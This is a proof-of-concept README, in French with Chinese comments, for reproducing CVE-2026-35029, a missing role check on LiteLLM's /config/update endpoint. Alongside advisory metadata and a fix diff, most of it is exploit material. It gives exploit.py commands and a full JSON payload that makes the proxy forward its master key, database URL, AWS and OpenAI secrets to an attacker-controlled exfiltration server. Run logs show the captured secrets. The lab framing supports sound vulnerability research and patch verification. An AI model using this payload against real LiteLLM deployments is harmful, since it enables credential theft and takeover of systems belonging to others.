
Le code pour reproduire personnellement la vulnérabilité correspondante
/config/update de LiteLLM (Broken Access Control)L'endpoint
/config/updatede LiteLLM ne vérifie pas les autorisations du rôle de l'appelant. Tout utilisateur authentifié disposant d'une clé API valide (sans privilèges d'administrateur) peut modifier la configuration du proxy, enregistrer des endpoints Pass-Through malveillants pour mener des attaques telles que le vol de variables d'environnement, la lecture arbitraire de fichiers, l'exécution de code à distance, etc.
| Champ | Valeur |
|---|
| CVE | CVE-2026-35029 |
| CVSS v4.0 | 8.7 (HIGH) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Incorrect Authorization) / CWE-285 (Improper Authorization) |
| Affecté | LiteLLM < 1.83.0 |
| Correctif | v1.83.0+ (ajout de la vérification du rôle proxy_admin sur /config/update) |
| Publié | 2026-04-06 |
| Découvert par | Timo Müller — SEC Consult Vulnerability Lab (Munich) |
| Identifié | 2026-02-24 |
| Liens | GHSA-53mr-6c8q-9789 • NVD • SEC Consult |
L'endpoint /config/update de LiteLLM aurait dû n'être accessible qu'au rôle proxy_admin, mais avant la v1.83.0 aucune vérification de rôle n'était effectuée. Tout utilisateur disposant d'une clé API valide peut appeler cet endpoint.
| Type d'attaque | Description |
|---|---|
| Vol de variables d'environnement | Enregistrer un endpoint Pass-Through pour voler DATABASE_URL, LITELLM_MASTER_KEY, etc., via des références d'en-tête os.environ/VAR_NAME |
| Lecture arbitraire de fichiers | Exploiter la fonctionnalité d'encodage Base64 des en-têtes LANGFUSE_* pour lire le système de fichiers du serveur |
| Altération de la configuration | Écraser UI_USERNAME, UI_PASSWORD pour détourner le compte administrateur |
| Exécution de code à distance | Enregistrer des gestionnaires d'endpoints Pass-Through pointant vers du code Python de l'attaquant |
⚠️ Important : Le
docker-compose.ymlépingle l'image vulnérable sur un digest spécifique (sha256:5beb4ea6...) datant du 24 janvier 2026. Ne le remplacez pas parmain-v1.81.0-stableou par tout autre tag mutable — les images plus récentes peuvent avoir été reconstruites avec des correctifs, ce qui casserait la reproduction.
# 1. 启动脆弱版 LiteLLM + 攻击者数据接收服务器
docker compose up -d
# 2. 安装依赖
pip install -r requirements.txt
# 3. 运行完整攻击链(环境变量窃取 + 文件读取)
python3 exploit/exploit.py --mode full-chain \
--target http://localhost:4000 \
--key sk-litellm-master-key
# 4. 仅窃取环境变量
python3 exploit/exploit.py --mode exfil \
--target http://localhost:4000 \
--key sk-litellm-master-key
# 5. (可选)验证修复版本不受影响
docker compose --profile fixed up -d
python3 exploit/exploit.py --mode full-chain \
--target http://localhost:4001 \
--key sk-litellm-master-key --fixed
Remarque : Au premier démarrage des conteneurs, patientez environ 30 à 60 s (contrôle de santé PostgreSQL + migration de la base de données Prisma), puis exécutez l'exploit une fois que
Uvicorn running on http://0.0.0.0:4000apparaît dans les journaux du conteneur.
Vol de variables d'environnement :
======================================================================
[VULNERABLE] Phase 1: Environment Variable Exfiltration
======================================================================
[*] Step 1: Registering pass-through endpoint via /config/update...
Payload: {
"general_settings": {
"pass_through_endpoints": [
{
"path": "/exfil/env",
"target": "http://exfil-server:9999/collect",
"headers": {
"X-Exfil-1-LITELLM_MASTER_KEY": "os.environ/LITELLM_MASTER_KEY",
"X-Exfil-2-DATABASE_URL": "os.environ/DATABASE_URL",
"X-Exfil-3-AWS_SECRET_ACCESS_KEY": "os.environ/AWS_SECRET_ACCESS_KEY",
"X-Exfil-4-OPENAI_API_KEY": "os.environ/OPENAI_API_KEY"
}
}
]
}
}
HTTP 200
[+] Config update accepted!
[*] Step 2: Waiting for pass-through route propagation...
6 seconds...
[*] Step 3: Triggering pass-through endpoint at /exfil/env...
HTTP 200
Response: {"status":"received","message":"Data captured by exfiltration server"}
[*] Step 4: Checking exfiltration server for stolen data...
[🔥] EXFILTRATION LOGS:
────────────────────────────────────────────────────────────
📥 Request received
Path : /collect
Headers:
X-Exfil-1-LITELLM_MASTER_KEY: sk-litellm-master-key
X-Exfil-2-DATABASE_URL: postgresql://admin:[email protected]:5432/production
X-Exfil-3-AWS_SECRET_ACCESS_KEY: AKIA1234567890EXAMPLE
X-Exfil-4-OPENAI_API_KEY: sk-openai-secret-key-leaked
[🔥] EXPLOIT SUCCEEDED! Sensitive data exfiltrated!
Refus d'accès sur la version corrigée (renvoi d'un code 403 avec une clé non administrateur) :
======================================================================
[FIXED] Phase 1: Environment Variable Exfiltration
======================================================================
HTTP 403
[-] Forbidden — target may be patched (v1.83.0+)
[+] Expected: fixed version blocks non-admin config updates
Remarque : Si vous testez la version corrigée avec la clé Master (
sk-litellm-master-key), la mise à jour de la configuration renverra toujours un HTTP 200 (la clé Master possède le rôleproxy_admin), mais l'enregistrement des endpoints Pass-Through peut ne pas prendre effet ou être silencieusement ignoré. Il est recommandé d'utiliser une clé non administrateur pour vérifier le correctif.
┌──────────────┐ ┌─────────────────┐ ┌───────────────────┐
│ 攻击者 │ │ LiteLLM Proxy │ │ Exfiltration 服务 │
│ (低权限 Key) │ │ (< v1.83.0) │ │ (攻击者控制) │
└──────┬───────┘ └────────┬────────┘ └────────┬──────────┘
│ │ │
│ 1. POST /config/update │
│ {pass_through_endpoints: │
│ [{path, target, headers: │
│ {X-DB: "os.environ/DATABASE_URL"}}]} │
│─────────────────────→│ │
│ │ │
│ HTTP 200 (OK!) │ │
│←─────────────────────│ │
│ │ │
│ 2. GET /exfil/env │ │
│─────────────────────→│ │
│ │ 3. Forward request │
│ │ + resolved headers │
│ │ (含 DATABASE_URL) │
│ │──────────────────────→│
│ │ │
│ │ HTTP 200 │
│ │←──────────────────────│
│←─────────────────────│ │
│ │ │
│ 4. 读取 /logs 确认结果 │
│─────────────────────────────────────────────→│
│←─ [🔥] 窃取到 DATABASE_URL ─────────────────│
CVE-2026-35029/
├── README.md # This file
├── docker-compose.yml # PostgreSQL db + vulnerable/fixed LiteLLM + exfil server
├── litellm_config.yaml # LiteLLM base config
├── requirements.txt # Python dependencies (PoC)
├── exfil-server/
│ ├── Dockerfile # Exfiltration server image
│ └── server.py # Captures stolen data (Python HTTP)
├── exploit/
│ ├── exploit.py # Main exploit script
│ └── payload.py # Payload builder module
├── docs/
│ └── advisory.md # Advisory reference
└── screenshots/
└── README.md # Proof screenshots placeholder
La v1.83.0 a ajouté la vérification du rôle proxy_admin dans le gestionnaire de /config/update :
# 修复前 (v1.83.0 之前) — 无角色检查
@router.post("/config/update")
async def update_config(request: Request):
... # 任何已认证用户均可调用
# 修复后 (v1.83.0+) — 需要 proxy_admin 角色
@router.post("/config/update")
@require_role("proxy_admin") # ← 新增角色检查
async def update_config(request: Request):
...
Commit : 57c05459ae9b4e607bfb35228ec13a3ee8586ce4
/config/updateAvertissement : Ce contenu est fourni uniquement à des fins éducatives et de tests de sécurité autorisés.